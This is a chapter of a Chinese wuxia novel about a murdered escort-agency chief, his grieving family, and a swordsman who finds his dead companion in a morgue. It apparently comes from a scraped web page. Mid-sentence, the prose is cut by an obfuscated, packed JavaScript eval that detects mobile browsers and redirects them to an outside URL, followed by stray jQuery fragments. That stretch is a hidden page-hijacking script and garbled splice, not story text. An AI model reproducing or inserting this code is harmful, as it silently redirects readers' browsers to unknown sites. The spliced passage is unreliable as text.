雪化后，只出了几日太阳，天又变得阴沉。在一片沉寂无风的氛围里，星星点点的雪花从凝重的天空中纷纷扬扬落下，叫这暗沉的世间为之一振。在悄无声息中，大地又盖上了一层洁白轻盈的白布，空气中散发着冰冷清冽的味道。


    “老爷来信了！”


    丫鬟曼儿在江宅中一边喊道一边快步走着，身后跟了一男子。他的帽子肩上都覆了一层雪，露出的发丝被雪水打湿，凝结成晶莹剔透的冰条。


    一个丫鬟虚掩房门，朝外面奔来的曼儿招呼：“快进来，夫人等着呢。”


    曼儿连同身后的男子皆穿过门缝，进入房中，一阵暖意扑面而来。


    “夫人，老爷派小的给您送信。”男子行了个礼，将怀中的信件递给丫鬟。


    “好，你快去烤火暖暖身子罢。”江夫人道。


    一旁的丫鬟赶忙去拿干爽的衣物给他换上，不料才打开门，就差点与进来的江远倾撞上。


    “娘，听说爹爹来信了？”


    “你慢些，横冲直撞的成何体统？”江夫人指着烤火的信使道：“刚刚送到，还未打开瞧呢。”


    丫鬟将信递给江夫人，江夫人拆开信封，细细读了片刻才递给江远倾。


    “你爹爹说已经到了宁王府。”


    “这信送过来也需要些时日，想必爹爹现在已经离开宁王府，护送万寿节礼北上进京了。”


    “你跟着老爷，一路可还平安？”江夫人朝正在烤火的信使问道。


    “回夫人，这一路没有生出什么事。”


    “老爷见了宁王，举止可都合乎礼仪？”


    “老爷将夫人的话都铭记在心，一举一动都恭恭敬敬，未出差错。王爷也是个古道热肠的人，见老爷远道而来，便盛情款待。还拉着老爷一起品鉴从各地搜罗的奇珍异宝，对老爷甚是信任。”


    “那便好，王爷终究还是顾着父亲在朝中的身份，没有因为老爷是个粗人便有所怠慢。”江夫人松了口气。


    “夫人放心，老爷可是奉旨而行，虽无官职，却受圣恩，飞黄腾达是迟早的事，王爷自然不敢怠慢。”


    “我只求他一路平安，日后将万寿节礼送到，面见圣上的时候，也稳稳当当的，不要出什么差错才好。”


    “母亲放心，爹爹在江湖中行走多年，基本的礼节还是了然于心。”江远倾也上前宽慰道。


    江夫人点头会意，隐隐不安的心终于放下。


    夜色如墨，大雪纷飞，阎宅门上悬挂着两盏灯笼。


    昏黄的灯光下，飞舞的雪花也沾染了陈旧的色彩，似密密麻麻的无头飞虫四处乱窜。


    一匹快马飞驰而来在阎宅门口停住，马上的男子下马时一个踉跄跌倒在雪地里，他挣扎起身，雪地上留下几滴鲜血。


    “快开门！快开门！”他用尽全身力气拍打阎宅大门。


    门里传来声音：“是谁在敲门？”


    “我是张安，快开门！”


    门里的人不再发问，只听得一阵挑开门闩的声音，随即大门打开。


    “师弟？你怎么受伤了？就你一个人回来么？”


    “快去叫阎老大……”张安声音微弱，浑身无力，脸色惨淡似白纸。


    “好好好，我待会就去叫阎老大，你先进来叫大夫才是要紧。”说罢便赶紧扶张安进门。


    院内一阵嘈杂，起先的敲门声就惊醒了周厉，其它师兄师弟穿上外衣出门查看，你一言我一语甚是吵闹。


    周厉拉住一位从外面走进来的师弟问道：“发生什么事了？”


    “听说有位兄弟回来了，还受了重伤，进门便被扶去阎老大屋里了。”


    “你可看清是谁？是曲玉么？”


    “外面黑得很，看不真切。”


    周厉顿时感到心跳极快，呼吸急促，头也开始有些晕。他趁人不注意，悄悄拿起了雁翎刀。


    阎老大房内，张安躺在床上面色苍白，额上凝起豆大的汗珠，一旁的大夫忙为他止血包扎。


    “发生什么事了？曲玉呢？”阎老大急切地问道。


    “我与曲玉一路跟着，直到一处叫野林岗的地方。我们还未出手，就突然冒出一伙盗匪。趁他们鏖战时，我想着偷袭他，没想到他的手下反应极快，拖住了我……”


    “……我只打了几个回合，就不见了他的踪影，连同曲玉也不知所踪。我好不容易逃了出来，在附近找了许久也未找到曲玉。我本来想去当地衙门的停尸房看看，可是我受了伤……实在无能无力……”说完张安咳嗽了起来，胸前的伤口渗出一道血色。


    “阎老大，他受了重伤，失血过多，又一路吹了风雪赶来，现下虚弱得很，还是让他少说些话为好。”大夫眉头紧锁道。


    “好。”阎老大叹了口气，“眼下这事千万不要透露出去，我明日叫人去那衙门里的停尸房打探，看看是否有曲玉……”


    话音刚落，一声巨响从门口传来，屋内众人朝门口望去。


    只见门被暴力推开，又被风吹得摇摇晃晃，发出“吱呀”的异响。雪花飘了进来，门口站着一个人，用刀杵在地上支撑身子。他的头上肩上落了一层积雪，冻得浑身发抖，不知在门外站了多久。


    “周厉？！你在做什么？”阎老大厉声喝道。


    “曲玉在哪里？”


    “我……”


    “你到底派他去杀谁？”周厉的脸上冻得发紫，“什么时候了，还不说么？”


    见房内几人仍无动静，周厉一瘸一拐走近，忽然拔刀指向阎老大。


    “这可使不得……”一旁的大夫试图劝解。


    “说！不说我就杀了你！”


    “江风山，我派他去杀江风山。”


    周厉脸上闪过一丝惊诧，似被雷电击中一般，这名字怎得如此熟悉……


    “哪个江风山？”


    “风灵城的江家。”


    这话一出，周厉拿刀的手微微颤动了几下：“曲玉呢？他在哪里？”


    “我们也不知晓，不在野林岗附近，兴许被官府里的人……”阎老大没有将话继续说下去。


    “他当时定是去追江风山去了。”一旁的张安忍痛道。


    “好，我去找他，活要见人，死要见尸。”说罢周厉将刀收回刀鞘，又一瘸一拐出门。


    “不拦着他么？”大夫朝阎老大道。


    “找不到曲玉，他是不会善罢甘休的。”阎老大看着门外的鹅毛大雪，眼神中充满了哀伤。


    江宅，江远倾正在书房内读书。


    火盆里的炭火燃得正旺，跳动的火花闪烁着温暖的黄色光芒，不断向四周散发热量，让人一时忘却外间寒冷的风雪。


    江远倾抬头望向窗户，此时的窗户似被白纱笼罩，外面的雪景一片朦胧。


    突然，一个人影从窗前经过，来到门前，随即传来敲门声。


    “公子，镖局里的马镖头求见，说是有要紧事。”


    “知道了。”


    江远倾放下书本，简单整理着装，朝正厅行去。


    一进正厅，马镖头抬头看见江远倾，便跪倒在地。他一脸痛苦，哭声凄厉，泪流不止，喉中呜咽着说不出话来。


    江远倾从未见过马镖头这副模样，一个曾闯荡江湖见过大风大浪的男子，竟跪在他面前涕泗横流。想到这，他的心里顿时涌起诸多的恐慌和惊惧。


    “马镖头，发生什么事了？”江远倾的声音有些颤抖。


    “公子……总镖头他……他遇害了……”


    大雪纷飞，江远倾却觉得传来一声雷鸣。虽披着厚袄，却觉得寒风从四面八方呼啸而来，钻进他的躯体，将他冻得浑身僵硬。他感到自己的心跳如鼓鸣，怎么也吸不进气，脚下一阵发软。


    “……你说什么？父亲怎么了？”


    “他们经过一处名为野林岗的地方时，突然冒出来一伙盗匪，不由分说地上来就杀人。那盗匪人数颇多，还有支援，武艺着实高强。众兄弟使出了浑身解数却也是死的死、伤的伤，运送的万寿节礼被他们皆数夺去。死里逃生的两名兄弟在打斗时见总镖头往密林去了，待他们去往密林时，只看到总镖头身受重伤地躺在地上，没了气息……”


    身后传来倒地的声音，江远倾立即转头，只见母亲伏在地上，脸色发白。


    “娘！”江远倾连忙扶起母亲。


    “怎么会这样……你爹爹武艺高强……怎么会死……”江夫人的泪水止不住地流淌，“他们确定那是老爷么，会不会是弄错了？”


    “他们派人先来传信，在当地置办了棺椁，日夜兼程，想必明日就会回来。”马镖头仍跪在地上胡乱抹着泪水。


    “怎么会这样，怎么会这样？明明前几日信里还说一切平安……”江夫人放声嚎哭，江远倾忍住心中的悲痛扶住母亲。


    “为什么……为什么？”江夫人不断地捶打胸口，面容十分痛苦。


    哭了几声后终接受不了沉重的打击，身子一软，晕了过去。


    江远倾连忙背起江夫人，一面朝厢房走一面吩咐马镖头：“明日我去镖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611557|156119||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    局候着，你先回去管理好镖局事务，不要声张。”


    马镖头连连答应，江远倾这才背着母亲朝厢房行去……


    雪夜，衙门里停尸房门前两名差役正喝酒聊天。


    一名差役边倒酒便抱怨道：“这么冷的天，还要派人看守，上面的人真是不把我们的命当命。”


    “这可是大案，事关圣上，若出了事，你我都担待不起。”另一名差役道。


    “我就奇了怪了，我们这小小的地方怎得一夜之间冒出这么多贼寇，竟敢去抢皇上的万寿节礼，真是吃了熊心豹子胆！”


    “这些贼寇可不是一般人，连大名鼎鼎的江氏镖局都败在他们手上。万寿节礼丢失，皇上必定龙颜大怒，有些人可要吃不了兜着走喽。”


    “听说这万寿节礼可是宁王费尽了心思从五湖四海搜罗而来，其中有名人字画，还有珍稀玉石，这些加在一块儿得值多少银两啊！”


    “价值连城。”另一位差役低声道。


    “怪不得那些贼寇闻风而来，里面随便一个物件就够他们过上几辈子了。”说话的差役端起酒坛，叹了口气，“可怜我们兄弟俩，拿着微薄的俸禄还要在这看死人。”


    “这话可不能随便说出口。”另一名差役抢过酒坛，“这酒只是用来暖身子，不可多喝。”


    “好好好，听哥哥的。不过，镖局里的人都死得差不多了，那些贼寇也早早带着金银财宝逃跑了，这些死人还会有人偷么？”


    “管他有人偷无人偷，我们哥俩做好本分便是。”


    说话间，围墙边雪地里传来沉闷的踩雪声，只响了几声便恢复寂静。


    “哥哥，我怎么听得围墙那边有些动静。”


    “嘘。”另一个差役将手指放在嘴前，低声道：“去瞧瞧。”


    围墙边种了几棵树，在夜里黑漆漆的，两位差役不敢马虎，拔出佩刀小心上前。


    走在前头的差役靠近围墙，却见树后空无一物。突然，身后传来一声苦叫，前头的差役连忙转身，只见自己的同伴被人击晕在地。还未细看几眼，旁边的树里钻出一个黑影，冲上来往他脖颈上就是一掌，他顿觉眼冒金星，很快晕了过去。


    那黑影戴着个狼脸面具，在两名差役身上搜罗了一番，不多时就搜出一串钥匙。


    他一瘸一拐地将两名差役先后拖到一个房间里并关上门，之后来到停尸房门前试了几把钥匙才打开房门。


    一进停尸房，一股浓重的血腥味扑面而来，夹带着冰雪的冷冽，让人十分不适。


    周厉来停尸房前，已经在野林岗附近找了许久，也不见曲玉的身影。倒是在密林里看到一辆被丢弃的镖车，以及一路散落的大小不一的石头。


    停尸房里果然如差役所说，停放了许多尸体，这些尸体都盖着白布，身形不一。


    周厉一具一具地掀开白布查看，每掀开一块白布，都令他心惊不已。


    有的人头颅与躯体几近断裂，有的人肢体残缺，有的人满脸血污，难以辨认。


    翻遍停尸房的躯体也不见曲玉，倒是让周厉胃里一阵翻腾。


    他将白布盖上，恢复原状后准备离开，却在余光中瞥见一个小房间里也盖了层白布。那白布下的身形十分清瘦，躺在黑暗中的角落平静宁和。


    周厉缓缓走近，心中忐忑不安。


    他轻轻掀开白布，只看了一眼便迅速盖上。


    那对眉毛，那熟悉的轮廓，他无法否认。只是这副宁静羸弱的面容，他从未见过。


    他努力克制内心的悲痛，咬紧牙关，鼓起勇气又掀开白布。


    是他的脸无疑，只是没了平日里与自己争辩时的神气。


    “我找了你许久，你倒好，独自一人躺在这里。”周厉自言自语道。


    “起来，和我回去。”


    曲玉躺在地上无声无息，停尸房里一片静默，只有灯烛燃烧时发出的噼啪声。


    “到底是谁伤了你？你明明轻功那么好，连我都追不上，怎么偏偏这次逃不过。”


    “你也是倔脾气，阎老大叫你杀人，你就拿命去搏。”


    周厉喃喃自语了许久，终觉得心中无力，忍不住哭了起来。


    他背起曲玉，一瘸一拐推门而出。出了门，便觉寒风刺骨，鼻子里的血腥味逐渐淡去，取而代之的却是一阵酸涩。每一片雪花落在他的身上，都是如此的沉重冰冷。


    他的步伐愈发艰难，似乎每踏一步都将要深陷其中。


    “叫你平日里多吃些肉，背起来轻飘飘的。”